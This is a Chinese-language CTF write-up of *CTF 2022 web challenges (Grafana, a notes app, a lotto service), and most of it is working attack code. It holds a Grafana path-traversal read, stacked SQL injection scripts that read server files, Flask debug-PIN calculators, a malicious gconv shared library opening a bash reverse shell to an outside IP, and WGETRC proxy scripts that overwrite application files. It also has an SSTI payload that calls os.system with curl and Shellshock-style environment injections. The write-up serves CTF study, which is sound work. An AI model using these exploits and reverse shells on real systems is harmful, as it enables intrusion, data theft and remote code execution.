*CTFのWP&复现
*CTFのWP&复现
这次比赛又学到了不少的学东西, 但可惜的是自己做最后也只出了两道, 剩下的lotto-erverse和notepro都是遇到一些坑和知识盲区所以都半路夭折了。离谱的是因为前一天晚上因为想把Fastjson的一个小系列全部源码运行过程跟完一遍所以直接通宵了, 比赛那天睡到五点多才起来, 属实翻车了。
先列一下注意的知识点:
-
堆叠注入键表导出文件然后读取,示例payload:
';create table h0cksr_mac(mac text);%23 ';load data local infile '/sys/class/net/eth0/address' into table ctf.h0cksr_mac;%23 ' union select 1,2,3,4,(select group_concat(mac) from ctf.h0cksr_mac);%23
-
Flask的PIN码计算条件: docker的id+mac地址(网上大多脚本都不可用)
-
Iconv的加载过程(在题目里面用不上)
-
环境变量
GCONV_PATH
PATH
,HOSTALIASES
和使用wget时的WGETRC
官方WP: https://github.com/sixstars/starctf2022 (题目的Dockerfile和WP都很齐全)
oh-my-grafana
看到这种框架直接去搜了一下漏洞就有未授权访问,而且题目给了版本号是在漏洞影响范围内的,所以不多说,直接通过目录穿越读取它的配置文件
/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini
需要注意的是, 不知道是不是只能GET请求的时候才能读取文件, 之前刚开始做题的时候试很多次都是没返回, 差点以为这个漏洞不存在, 最后把登录使用的POST请求改成GET马上就行了, 浪费了十几分钟在这, 有点离谱。
进去就直接拿到账号密码:
# default admin user, created on startup
admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade
然后在后台到处点了了十几分钟后发现Configuration
里的 Data sources
可加载数据库执行SQL的查询语句, 所以在这使用SQL语句读出Flag
select flag from fffffflllllllllaaaagggggg
oh-my-notepro
随便输入一个账号登录即可,进入后创建新文章,然后就会返回首页并且可以看到文章
点击文章进入会看到连接是/view?note_id=hulvhrc8rwzfoec31lshpzbvld76h8hu
这种形式
起初的时候还没想过测试这个点,就去试了一些文本编辑器的xss,CSRF和模板渲染方面的点,但是都没成功,最后回来试了一下就直接看到是个SQL注入了,而且报错出来之后连SQL语句都给出来了
但是我最初写工具使用的是时间盲注,原本是知道可以报错注入的,但是觉得盲注比较通用所以就想着顺便写个MYSQL注入的工具方便以后使用,结果熬了一个晚上忘了做题倒是写了个几百行代码的LJ东西,,,,,一直熬到天亮都在写工具,题都忘记做了。结果写蒙了自己都不知道里面的一些逻辑了,然后就把这玩意给直接DELETE了,真的拉胯,一个晚上直接被浪费掉了
闲话多了哈哈哈,后面注入的时候发现还可以进行堆叠注入,这里就有很大的空间了, 但是当时select user()
看到不是root
而是ctf
的时候脑子嗡嗡的, 因为这样子一般来说flag
就不是在当前所能查找到的库里面了, 一般来说都是涉及到建表导出文件,或者进行一些其它的文件操作进而得到更多信息
下面开始测试字段数之后测试显示字段:
可以看到有4和5都是显示字段, 到这里先直接给exp:
import threading
import time,requests
from bs4 import BeautifulSoup
URL="http://124.70.185.87:5002"
cookie = {
"session": "eyJjc3JmX3Rva2VuIjoiZDRjOWU2NzY0N2ZjMTdiZjQzYjdmZDk3ZGViMzg5YjFjMWE2MWM0OCIsInVzZXJuYW1lIjoiYSJ9.Yl1vog.dIwXtH7ZVyfPNgZn63ctHUROVMM"
}
requests.get(f"{URL}/view?note_id=';create table h0cksr_mac(mac text);%23", cookies=cookie)
requests.get(f"{URL}/view?note_id=';load data local infile '/sys/class/net/eth0/address' into table ctf.h0cksr_mac;%23",cookies=cookie)
requests.get(f"{URL}/view?note_id=';create table h0cksr_dockerid(dockerid text);%23", cookies=cookie)
requests.get(f"{URL}/view?note_id=';load data local infile '/proc/self/cgroup' into table ctf.h0cksr_dockerid;%23",cookies=cookie)
URL2="http://124.70.185.87:5002/view?note_id=hulvhrc8rwzfoec31lshpzbvld76h8hu' union select 1,2,3,h0cksr1,h0cksr2;%23"
dockerid="(select group_concat(dockerid) from ctf.h0cksr_dockerid)"
mac = "(select group_concat(mac) from ctf.h0cksr_mac)"
url = URL2.replace("h0cksr1",dockerid).replace("h0cksr2",mac)
text1 = requests.get(url, cookies=cookie).text
soup = BeautifulSoup(text1, "html.parser")
print("dockerid: ",soup.find_all("p")[1].text.strip().split("docker")[1][1:65])
print("mac: ",soup.find_all("h1")[1].text.strip().split(",")[0])
# dockerid: 5da154f11b2e53c6dfe652757b9b46ea3b59bc5008a6a156a74c9bef3582f47e
# mac: 02:42:ac:1c:00:03
当时发现能堆叠之后我就直接试了`select 1 into outfile '/var/lib/mysql-files/2' `以及`select load_file(DNS)`都不行,然后试了下`select count(*) from mysql.user`也还是返回traceback,确实被降权了,最后只能使用information_schema和ctf这两个数据库,但是其实没什么用. 但是因为能堆叠所以测试后发现可以建库然后导出文件。
说一下我们的exp:
- 使用建库表的方式到处文件内容到字段中,然后进行select查询拿到文件内容
- 我们可以通过机器的mac地址和docker的id计算得到PIN码
- mac地址在
/sys/class/net/eth0/address
- dockerid在
/proc/self/cgroup
Pin码计算脚本:
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'ctf', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac), # str(uuid.getnode()), /sys/class/net/eth0/address
str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print(genpin("02:42:ac:1c:00:03","5da154f11b2e53c6dfe652757b9b46ea3b59bc5008a6a156a74c9bef3582f47e"))
if __name__ == '__main__':
getshell()
# 143-392-010(错的)
最后脚本计算得到PIN码,直接到Debug页面执行python语句使用os执行命令拿flag就行
os.system('ls')
os.system('readflag')
到这里正常来说牙规是可以获得flag了
然而....
当时算出PIN码的时候我以为要起飞了, 但是出了个大问题, 算出的PIN码不正确,python2和3的PIN码是不一样的,但是我们原本跑的脚本就是python3的,mac和dockerid肯定是没问题的,那么问题应该就在`probably_public_bits`, 感觉最可能是`username`
当时试了ctf
*ctf
root
game
这些都不行,但是读取/app/app.py可以看到username其实是当前用户名,但是我使用当前用户名还是不对,最后去本地docker试了一下docker的mac和dockerid算出的PIN和我在docker运行的FLASK服务的PIN对比一下确实不一样,不知道是不是脚本问题,是的话就完犊子(今天WP出来了,确实是脚本的问题,因为Pin码的计算方式发生了变化,上面的脚本也可以放弃了,以后计算pin码直接用出题人大佬的脚本)
说到这,那读一下passswd确实看到一个ctf用户
另外把全部文件读一遍:
app.py
import string
import random
from flask import render_template,redirect, url_for, request, session, Flask
from functools import wraps
from exts import db
from config import Config
from models import User, Note
from forms import CreateNoteForm, CreateLoginForm
from utils import md5
app = Flask(__name__)
app.config.from_object(Config)
app.config['MYSQL_LOCAL_INFILE'] = True
db.init_app(app)
def login_required(f):
@wraps(f)
def decorated_function(*args
**kws):
if not session.get("username"):
return redirect(url_for('login'))
return f(*args
**kws)
return decorated_function
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
@app.route('/')
@app.route('/index')
@login_required
def index():
username = session['username']
results = Note.query.filter_by(username=username).limit(100).all()
notes = []
for x in results:
note = {}
note[
models.py
from exts import db
class User(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer,primary_key=True)
username = db.Column(db.String(255), unique=True)
password = db.Column(db.String(255), nullable=False)
class Note(db.Model):
__tablename__ = 'notes'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(255),unique=False)
note_id = db.Column(db.String(255),unique=True)
text = db.Column(db.String(255), unique=False)
title = db.Column(db.String(255),unique=False)
exts.py
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
config.py
from pymysql.constants import CLIENT,,class Config(object):
SECRET_KEY = 'you-will-never-guess-hahahahafeffefefefefefxwdhaha2333'
# SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@mysql:3306/ctfcharset=utf8mb4&local_infi,SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://ctf3:ctf123456@mysql:3306/ctf?charset=utf8mb4&local_i, SQLALCHEMY_ENGINE_OPTIONS = {"connect_args":{"client_flag": CLIENT.MULTI_STATEMENTS}},SQLALCHEMY_POOL_RECYCLE = 30, SQLALCHEMY_POOL_SIZE = 40
from pymysql.constants import CLIENT
class Config(object):
SECRET_KEY = 'you-will-never-guess-hahahahafeffefefefefefxwdhaha2333'
# SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@mysql:3306/ctf?charset=utf8mb4&local_infi
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://ctf3:ctf123456@mysql:3306/ctf?charset=utf8mb4&local_i
SQLALCHEMY_ENGINE_OPTIONS = {"connect_args":{"client_flag": CLIENT.MULTI_STATEMENTS}}
SQLALCHEMY_POOL_RECYCLE = 30
SQLALCHEMY_POOL_SIZE = 40
text917
file:
forms.py
from flask_wtf import FlaskForm
from wtforms import *
from wtforms.validators import DataRequired
class CreateNoteForm(FlaskForm):
title = StringField('Note Title',validators = [DataRequired()])
body = TextAreaField('Write something',validators = [DataRequired()])
submit = SubmitField('Post!')
class CreateLoginForm(FlaskForm):
username = StringField('Enter username',validators = [DataRequired()])
password = StringField('Enter password',validators = [DataRequired()])
submit = SubmitField('Login!')
这题就到这里吧, 满腹牢骚的年轻人,说太多废话了,下面直接
oh-my-lotto
这个题目我当时是使用PATH环境变量,通过设置PATH = .
使得wget命令失效, 后台的lotto_resut.txt也就不会改变了, 但是有点坑,如果我们上传的文件只是数值一样的话传过去还是会报错, 最后我也只能在本地再开启一个lotto.py的Flask服务生成一个和题目环境一样的lotto_resule.txt然后原封不动的上传才成功。
直接给个poc:
lotto-new-server.py
import os
import secrets
import sys
import threading
from flask import Flask, make_response
from flask import Flask,render_template, request
app = Flask(__name__)
@app.route("/")
def index():
lotto = request.args.get('0').split(" ")
print(0)
print(lotto)
r = '\n'.join(lotto)
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __delf__ == __main__:
# index()
app.run(debug=True, host='0.0.0.0', port=8888)
print("My lotto Server Start at 8888")
在相同目录下再开个python的http服务用于下载lotto_result.txt
python3 -m http.server 7777
以上的lotto服务和python的http服务我都运行在docker里面,所以docker开启了三个端口:
- DockerHost: 172.25.0.3
- 题目端口8080
- 新的lotto服务8888
- 下载lotto_result.txt的7777
#!/usr/bin/python2
# coding=utf-8
import requests,socket,os
result="23 35 2 20 7 33 25 16 8 12 38 21 19 9 30 20 2 8 34"
result=result.replace(' ',"%20")
requests.get("http://172.25.0.3:8888?0="+result)
os.system("wget http://172.25.0.3:7777/lotto_result.txt -O lotto_result.txt")
files = [('file', ('forecast', open('lotto_result.txt',"rb"), 'application/octet-stream')),]
requests.post("http://172.25.0.3:8080/forecast",files=files)
print "lotto_result.txt 已上传"
data={"lotto_key":"PATH","lotto_value":"."}
text=requests.post("http://172.25.0.3:8080/lotto", data=data).text
print "\n获得flag为:"
print text
因为我这里开的是oh-my-lotto-revenge
的题目环境所以返回的才不是flag,正常情况的话这时候获得的就是flag
oh-my-lotto-revenge
来个socket代理,一开始我想用的是python3的socket做代理,但是有点离谱,不知道哪里出了问题,每次都是二次响应的时候如果是wget --content-disposition -N lotto
就直接报错, 如果是直接请求wget http:xxx:xxx/xxx
倒是没问题, 可能涉及到一些\x00
之类的标识符的原因吧,不太明白, 后面就用python2的socket写了一个,这里先上传一个作为WGETRC
环境变量的文件然后进入代理模式,我们可以自己修改文件修改返回文件的文件名和文件内容(python2的input函数真的太难受了只能说)
代理+文件上传+wget命令执行脚本
proxy.py
#! /usr/bin/python2
# coding=utf-8
import sys,time,random,socket
import socket,urllib,urlparse
desc_host = '0.0.0.0'
desc_port = 9999
source_url = "http://127.0.0.1/ctf-temp/"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
start=time.time()
while 1:
try:
server.bind((desc_host, desc_port))
break
except:
# desc_port=random.randint(1000,10000)
if time.time()-start>10:
y,w,Y,W=True,False,True,False
if input("Waiting too long, Weather use random port?\nIf use Input 'y',just waiting 9999 input 'w':"):
desc_port=random.randint(1000,9999)
start = time.time()
else:
print "waiting...........",int(time.time()-start)
time.sleep(1)
start=time.time()
print "Proxying to %s:%s ..."%(desc_host, desc_port)
while 1:
if time.time()-start>30:
break
server.listen(5)
conn, addr = server.accept()
recv=conn.recv(1024)
# print recv
request = recv.split(" ")[1]
exp="exp.so"
gcov="gconv-modules"
file = sys.argv[sys.argv.index("-f")+1]
file = input("file_name: ")
# page = urllib.urlopen(urlparse.urljoin(source_url, request)).read()
print "Send File(exp or gcov)"+file
page = urllib.urlopen(urlparse.urljoin("http://47.99.70.18/"+file,"")).read()
print addr[0], addr[1], request
print time.strftime('%Y-%m-%d %H:%M:%S')," [%s:%s] %s"%(addr[0], addr[1], request)
# print page
head=b"""HTTP/1.1 200 OK
Server: gunicorn
Date: Mon, 18 Apr 2022 13:38:20 GMT
Connection: close
Content-Type: text/plain
Content-Length: """+str(len(page)).encode()+"""
Content-Disposition: attachment; filename="""+file+"\t\n\n".encode()
conn.sendall(head+page)
conn.close()
print "See You Next Time"
再来一个进行lotto
请求执行wget的send脚本:
send.py
#!/usr/bin/python3
# coding=utf-8
import requests,socket,os
url="http://172.25.0.3:8080/lotto"
while 1:
In=input("Input Your 'Key value': ")
if In=="":
In="WGETRC /app/guess/forecast.txt"
kv=In.split(" ")
data = {"lotto_key": kv[0], "lotto_value": kv[1]}
text = requests.post(url, data=data).text
print(f"Send post {kv[0]},{kv[1]} finish")
Iconv攻击(并没有成功)
我们将UTF-8.c
编译为so文件然后上传到题目的/app目录下(注意,上传后的so文件名也必须为UTF-8.so)
UTF-8.c
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void gconv(){
}
void gconv_init(void *step){
system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18/4444 <&1'");
system("curl http://47.99.70.18:4444");
exit(0);
}
gcc UTF-8.c -o UTF-8.so -shared -fPIC
然后将gconv-modules传到/app下
/app/gconv-modules
module UTF-8// UTF-8 UTF-8 1
module INTERNAL UTF-8// UTF-8 1
下面如果说打Iconv的话那应该就是直接在http:/题目host:port/lotto
直接POST发送一个lottokey=GCONV_PATH
, lotto_value=/app/
的请求即可, 但是并没有触发
测试命令
上传文件后我们到docker里面测试一下,使用iconv命令触发加载调用/app/UTF-8.so的gconv_init函数是没问题的
但是我们直接在docker运行wget --content-disposition -N lotto
并没有反弹shell, 这里也是我最疑惑的地方。
结合文件上传的和环境变量, 最后也是把目标定在了Iconv加载问题, 但是又不确定, 毕竟当时对我来说没发现WGETRC
这个变量所以利用点就两个:1.指定文件/app/guess/forecast.txt的内容可自由上传; 2.可设置一个环境变量, 但这是远达不到Iconv的触发条件的, 最后就只猜不知道是不是wget
的一些特殊的环境变量或者与wget相关的配置文件。
可惜的是一直到最后没注意到WGETRC
这个东西(度娘谷哥的时候看东西太急了,都没细细去翻过)
gcc UTF-8.c -o UTF-8.so -shared -fPIC
wget --content-disposition -N lotto
wget http://47.99.70.18/gconv-modules
wget http://47.99.70.18/UTF-8.so
export GCONV_PATH=/app/
iconv -l
iconv gconv-modules -f us-ascii -t UTF-8 -o 4
wget --content-disposition -N lotto
iconv lotto_result.txt -f us-ascii -t UTF-8 -o 4
strace iconv lotto_result.txt -f us-ascii -t UTF-8 -o 4 2>&1 | grep -A2 -B2 iconv
readelf -Ws /usr/bin/wget |grep iconv
通过strace
追踪系统调用可以看到wget
确实导入了iconv的gconv-modules
,但是并没有像我们测试的时候调用read(3, "\tISO-IR-110//\t\tISO-8859-4//\nalia"..., 4096)
而是在此之前就退出了, 所以这应该就涉及到编码问题了, 而我们可控的东西并不多,环境变量肯定是设置为GCONV_PATH
不可能再改变了,那么我们能做的就是任意文件上传且文件名可控, 此外响应包的报头我们是可以自己定义的, 文件名的控制就是这个原因, 但是并不能改变目录, wget
处理响应包的filename
只会取最后一个/
之后的内容作为文件名。
一些用不上的想法(环境变量)
PATH
因为我们可以控制PATH
所以如果我们将设置变量PATH = /app
然后我们再上传一个名为wget的恶意二进制文件这不就直接反弹shell? 然而现实是下载下载了文件甚至root都没执行权限, 需要手动chmod +x
才行,所以这就黄了
LD_LIBRARY_PATH
另外如果LD_LIBRARY_PATH
可以被设置的话我们可以指定动态链接库的搜索路径, 我们直接将其在原有的基础上先添加一个/app/
那就能通过修改恶意so文件的文件名为动态链接库的文件名
从而将原先默认的动态链接库
取代,加载我们的so文件,但是可惜在这里LD
开头的都不能用,那就无了
ldd /usr/bin/wget #查看程序加载的动态链接库
再提一下,程序运行时动态库的搜索路径的先后顺序是:
-
编译目标代码时指定的动态库搜索路径;
-
环境变量
LD_LIBRARY_PATH
指定的动态库搜索路径; -
配置文件/etc/ld.so.conf中指定的动态库搜索路径;
-
默认的动态库搜索路径/lib和/usr/lib;
这个顺序是compile gcc时写在程序内的,通常软件源代码自带的动态库不会太多,而我们的/lib和/usr/lib只有root权限才可以修改,而且配置文件/etc/ld.so.conf
也是root的事情,但是我们如果能设置LD_LIBRARY_PATH
那么这个优先级甚至比我们设置配置文件/etc/ld.so.conf
的优先级还要高也更有效。
加固:但是我们设置的LD_LIBRARY_PATH
通常为临时变量,一旦换一个BASHshell或者重启之后就失效了,这时如果想要加固的话我们可以将设置 LD_LIBRARY_PATH
的 export
语句写到系统文件中,例如 /etc/profile
、/etc/export
、~/.bashrc
或者 ~/.bash_profile
等, 根据操作系统和一些生产环境的不同可能还会有更多的选择。
LIBRARY_PATH
这玩意也是可以设置查找动态链接库时指定的查找共享库的路径, 但是一般在CTF里面用不上,因为LIBRARY_PATH是在程序编译期间查找动态链接库时指定的查找共享库的路径。指定gcc编译需要链接动态链接库的目录。一般来说ctf比赛都是跑好的环境哪来的机会编译,,,,不过如果可以编译的话要是结合`文件上传`确实很有用(但是在这用不上就对了)。
使用示例:
export LIBRARY_PATH=libtest1:libtest2:$LIBRARY_PATH #添加libtest1和libtest2为动态链接库的查找路径
source .bashrc || source .bash_profile #让配置生效
gcc *.c -L./sodir1 -L./sodir2 -ltest1 -ltest2 #编译时分别链接sodir1目录下的libtest1.so库与libtest2目录的libtest2.so库
C_INCLUDE_PATH
指明头文件的搜索路径,此两个环境变量指明的头文件会在-I指定路径之后,系统默认路径之前进行搜索
LIBRARY_PATH指明库搜索路径,此环境变量指明路径会在-L指定路径之后,系统默认路径之前被搜索。
小结
LIBRARY_PATH
, C_INCLUDE_PATH
这几个变量看起来很NB,不过一般也用不上,毕竟需要编译文件甚至需要source才能生效,但是 LD_LIBRARY_PATH
就比较危险了,毕竟这个设置的是程序运行时的动态链接库。
跑题了, 回到题目, 到这里我们有几个可用条件:
- 在/app目录下任意文件上传(无可执行权限)
- 可以设置一个环境变量(上传文件时设置为
PATH = /app/guess/forecast.txt
,使用iconv时设置GCONV_PATH=/app/
)
其他一些:
- LD_PRELOAD
- Bash 4.4以前:
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
- Bash 4.4及以上:
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
- 破壳env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
绝境
上面的东西基本就是环境变量常用的了(也不是很常用hhh)
到这里能想到的就是请求头了,但是并没有用,不管修改什么请求头甚至还有wget
的remote_encoding
都不行,不过Nu1l大佬的Iconv方法没复现出来不过倒是自己找到了一个新的方法,先发一份WP吧反正, 待会在慢慢补hh
The light of hope -- remote_encoding
我想说....官方文档yyds
给几个上面稍微修改后的脚本(就是用这个直接文件覆写):
proxy.py
#!/usr/bin/python2
# coding=utf-8
import socket,urllib
import threading
import time
import urlparse,requests
desc_host = '0.0.0.0'
desc_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((desc_host, desc_port))
print "Proxying to %s:%s ..."%(desc_host, desc_port)
start=time.time()
def send(file,vps):
while time.time()-start<3000:
print "proxy socket start"
server.listen(50)
conn, addr = server.accept()
recv = conn.recv(1024)
print vps + file
page = urllib.urlopen(urlparse.urljoin(vps + file, "")).read()
head = "HTTP/1.1 200 OK\t\nServer: gunicorn\t\nDate: Mon, 18 Apr 2022 13:38:20 GMT\t\nConnection: close\t\n\t\n"
head += "Content-Length: " + str(len(page)) + "\t\nContent-Disposition: attachment; filename=xxx\t\n\n"
conn.sendall(head + page)
print "send %s success" % file
def wgetrc(file,url):
while time.time()-start<3000:
wgetrcdata = b"http_proxy = http://47.99.70.18:9999/\nuse_proxy = on\noutput_document = /app/" + file.encode()
files = [('file', ('forecast', wgetrcdata, 'application/octet-stream')), ]
requests.post(url + "forecast", files=files)
print "%s's wgetrc upload finish" % file
data = {"lotto_key": "WGETRC", "lotto_value": "/app/guess/forecast.txt"}
requests.post(url + "lotto", data=data)
time.sleep(1)
url="http://172.25.0.3:8080/"
vps="http://47.99.70.18/"
Files=["templates/result.html",]
for file in Files:
threading.Thread(target=send,args=(file,vps,)).start()
threading.Thread(target=wgetrc, args=(file, url)).start()
之后每秒都会将我们服务器上的/webroot/templates/result.html上传到docker的/app//templates/result.html并且直接覆盖原文件, 然后使用SSTI模板注入, 同样的,我们也可以直接覆盖掉app.py使得app.py执行任意代码
期初没想过覆写app.py的但是SSTI注入有限制,只能执行部分命令,比如bash反弹shell或者上面使用的通过iconv
命令反弹shell都不行,然后我就覆写app.py了, 但是一开始有点奇怪,正常来说Flask服务是实时随着源文件一起更新的, 但是我们覆写app.py之后并没有执行python命令反弹shell, 做到这里也不想做了直接等WP, 不过之后发现app的docker停止运行了, 我执行docker exec
也开启不了docker(因为我之前把app.py改成app.py.bak了), 所以这就意味着docker有尝试过重新加载app.py文件, 之后我又更新了一个docker, 然后使用WGETRC上传文件覆写app.py之后也不知道什么时候自己就反弹shell到我的服务器上去了, 不过今天看到官方的WP算是知道为什么了
另外还想过在/etc/cron覆写文件的, 但是我直接在docker改了/etc/cron.d文件夹下面的文件之后等了半天也没见有反应就放弃了
result.html
{% extends "base.html" %}
{% block body %}
<div class="main">
<div class="message-card nes-container with-title is-centered is-dark">
<p class="title">*CTF LOTTO</p>
<p>
This is last turn lotto result, maybe it can help you to forecast next turn. :)
</p>
{{config}}
{{url_for.__globals__["os"].system("curl http://47.99.70.18:4444")}}
{% if message%}
<p>{{message}}</p>
{% endif %}
</div>
</div>
<div class="empty"></div>
<div class="footer">© *CTF</div>
{% endblock %}
wgetrc
http_proxy = http://47.99.70.18:2607/
use_proxy = on
output_document = filename
remote_encoding = UTF-8
此外wget还有很多有意思的环境变量可以在wgetrc文件中设置, 在这里就不展开了,直接给个链,进去直接搜environment找一下就行: WEGT文档传送门
拓展
自己复现完了之后官方的WP才出来, 上面的内容几乎也都是自己做了一遍, 所以这个也不懂说是做题的WP还是复现记录了, 至于上面的内容都是边做边写的所以估计有些地方会有些问题, 不过那也不想回去改了。比赛结束还继续做下去也不知道说好还是不好, 感觉自己去看确实学习到了很多东西,但是也浪费了很多时间, 不过,归根结底, 还是遇到的题目和知识面窄了, 每天进步一点吧, Come on
。
下面试一下从出题人的WP学到的知识点
oh-my-lotto-revenge
wp出来了发现原来这种通过output_document覆写文件的才是预期解, 人麻了, 看了Nu1l的wp之后一直思考怎么调用Iconve来加载恶意文件, 结果放弃了wp的思路反倒是做出了预期解, 人都傻了.
-
平时没事多看官方文档手册, 这比漫无目地慢慢谷哥度娘强多了Linux环境变量文档: Linux环境变量文档
别的不说, 文档里面可以进行库加载设置的环境变量就给了几十个:
LD_BIND_NOT LD_BIND_NOW LD_DEBUG LD_DEBUG_PATH LD_DYNAMIC_WEAK LD_HWCAP_MASK LD_LIBRARY_PATH LD_PRELOAD LD_ORIGIN_PATH LD_PROFILE LD_PROFILE_OUTPUT LD_SHOW_AUXV LD_TRACE_LOADED_OBJECTS LD_WARN LD_VERBOSE GCONV_PATH HOSTALIASES LD_AOUT_LIBRARY_PATH LD_AOUT_PRELOAD LD_DEBUG_OUTPUT LD_LIBRARY_PATH LD_ORIGIN_PATH LD_PRELOAD LD_PROFILE LOCALDOMAIN LOCPATH MALLOC_TRACE NLSPATH RESOLV_HOST_CONF RES_OPTIONS TMPDIR TZDIR
变量太多所以它们的作用就不说了, 想要了解的时候再爬文档去
-
HOSTALIASES
可以设置shell的hosts加载文件,利用/forecast
路由可以上传待加载的hosts文件,将wget --content-disposition -N lotto
发向lotto的请求转发到自己的域名例如如下hosts文件 -
有一个坑, 那就是通过strace检测发现wget确实会调用确实是会调用iconv但是没有进行编码格式转换, 个人猜想的话应该是需要一些参数配置或者响应包的一些编码格式满足一些条件才会进行编码转换, 还想用
pwndbg
看看能不能调出来追溯一下条件, 但是之前没怎么用过pwnbg
整的头都大了, 最后也就不了了之然后去看官方文档了, 也正是这样子才发现了output_document
参数 -
iconv的整体流程全都lu了一遍, 这里放个官网的源码下载网站留着备用: libiconv
oh-my-notepro
多的东西没有,主要就是建表读取文件和FLASK的Pin码计算,在这直接贴一下 官方WP 说不定以后用得上
出题人对PIN码的解释算是解答了为什么我比赛的时候PIN码一直不对的原因了, 多的不说,这个Pin码计算脚本就值得记一下:
# exp.py
import requests
import re
import string
import random
from pin import solve
def get_content(file, regexp):
ans = ''
z = 1
while True:
try:
tmp_database = get_random_id()
path = f"view?note_id=';CREATE TABLE IF NOT EXISTS {tmp_database}(cmd text);Load data local infile '{file}' into table {tmp_database};select * from users where username=1 and (extractvalue(1,concat(0x7e,(select substr((select group_concat(cmd) from {tmp_database}),{str(z)},{str(20)})),0x7e)));"
view_url = base_url + path
r = s.get(url=view_url)
content = re.findall("'~(.*?)'", r.text)[0]
if content[0] == '~':
break
ans += content[:-1]
if content[-1] != '~':
break
z += 20
print(ans)
except Exception as e:
print(e)
break
k = re.findall(regexp, ans)[0]
print('k is: ', k)
return k
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
base_url = 'http://localhost:5002/'
base_url = 'http://124.223.208.221:5002/'
s = requests.session()
login_data = {
'username': "veererere",
'password': "fefefef"
}
proxies = {
'http': 'http://127.0.0.1:8080'
}
login_url = base_url + 'login'
r = s.post(url=login_url, data=login_data, proxies=proxies)
cgroup = get_content('/proc/self/cgroup', 'docker/(.*?),')
machine_id = get_content('/etc/machine-id', '(.*)')
eth0 = get_content('/sys/class/net/eth0/address', '(.*)')
eth0 = str(int(eth0.replace(':',''),16))
print("eth0 is: ", eth0)
print("machine_id is: ", machine_id)
print("cgroup is: ", cgroup)
solve('ctf', eth0, machine_id, cgroup)
Pin码计算脚本:
# pin.py
import hashlib
from itertools import chain
def solve(username, eth0, machine_id, cgroup):
probably_public_bits = [
username,# username ok
'flask.app', # ok
'Flask' #ok,
'/usr/local/lib/python3.8/site-packages/flask/app.py' # ok
]
private_bits = [
eth0,# /sys/class/net/eth0/address
machine_id + cgroup
# '7cb84391-1303-4564-8eff-ef7571804198327e92627edf30f63fde916e3c3017aea76eeb876265a726270a575d391eeb4a'# machine-id
# /etc/machine-id + /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num